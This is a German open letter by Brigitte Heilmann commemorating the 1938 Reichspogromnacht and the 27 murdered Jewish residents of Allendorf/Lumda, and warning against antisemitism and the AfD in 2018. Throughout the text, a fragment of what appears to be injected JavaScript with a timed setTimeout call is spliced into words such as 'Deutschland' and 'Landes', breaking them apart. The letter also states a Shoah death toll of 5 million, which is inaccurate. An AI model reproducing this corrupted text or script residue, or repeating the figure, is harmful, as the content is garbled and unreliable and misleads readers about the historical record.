Ein offener Brief von Brigitte Heilmann
Primo Levi, der die Hölle von Auschwitz überlebte, schrieb folgenden Satz:
„Es ist geschehen, folglich kann es wieder geschehen, darin liegt der Kern dessen, was wir zu sagen haben.“
Der 9. November 1938 ist einer der dunkelsten und schlimmsten Tage in der Geschichte unseres Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andes. In der Reichspogromnacht brannten überall in Deutschlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and die Synagogen und jüdische Einrichtungen. Wohnungen und Geschäfte wurden geplündert und zerstört. Deutsche Männer, Frauen und Kinder jüdischen Glaubens wurden an zentralen Plätzen zusammengetrieben, gedemütigt und geschlagen. Sie wurden in Gefängnisse und Konzentrationslager gebracht, misshandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andelt und gefoltert. Es gab kaum einen Ort in Deutschlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, an dem die Öffentlichkeit davon nicht Kenntnis nehmen konnte, nur in wenigen Fällen brachten Deutsche den Mut auf, den Geschundeten zu helfen. Das war auch in Allendorf/ Lumda so.
Der 9. November 1938 war ein staatlich organisierter Zivilisationsbruch, der nicht nur von fanatischen und aufgehetzten Nationalsozialisten und SS-Leuten verübt wurde, sondern auch von Menschen, die bis dahin Nachbarn waren.
Mit der Übernahme der politischen Macht der Nationalsozialisten im Januar 1933 begann nach dem Reichstagsbrandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and im Februar die systematische Außerkraftsetzung der Grundrechte für Juden und politische Andersdenkende.
Am Ende der nationalsozialistischen Diktatur und deren Herrschaft in Europa stehen wir vor der unfassbaren Zahl von 5 Millionen in der Shoa ermordeten Juden. Auch wenn es so mancher nicht mehr hören will, diese Verbrechen sind bis heute beispiellos.
In Allendorf erinnern die Stelen auf dem Rosenplatz an die 27 ermordeten Allendorfer jüdischen Glaubens. Mit deren Deportation erlosch jüdisches Leben in diesem Ort,
Im Jahr 2018 müssen in unserem Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and immer noch Synagogen, jüdische Gemeindezentren, Schulen und Kindergärten von Sicherheitskräften beschützt werden. Im Internet wird auf übelste Weise gehetzt, Juden wagen nur mit gemischten Gefühlen , die Kippa auf offener Straße zu tragen. Jüdische Restaurants werden angegriffen. Deutsche skandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andieren auf Demonstrationen wieder offen antisemitische Parolen oder verbrennen israelische Fahnen.
Antisemitismus ist in der Mitte unserer Gesellschaft wieder salonfähig geworden.
Das können und wollen wir nicht hinnehmen.
Das Erstarken der rechtspopulistischen AfD auch in Allendorf bei der vergangenen Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andtagswahl und die Existenz einer immer noch vorhandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andenen Gruppe, die als rechtsextrem einzuschätzen ist, im Lumdatal geben durchaus Anlass ,sich darüber Gedanken zu machen, wie man deren Gesinnung einordnet und ob es Zeit wird, als Demokraten Haltung zu zeigen.
Deshalb: „Wehret den Anfängen!“ , denn „Wer sich nicht an die Geschichte erinnert ( und sie nicht in seinem Gedächtnis behält) ist gezwungen, wieder in ihr zu leben“. ( George Santayana, spanischer Philosoph, im Gedenken an die Verbrechen der Juden in Auschwitz ).
Brigitte Heilmann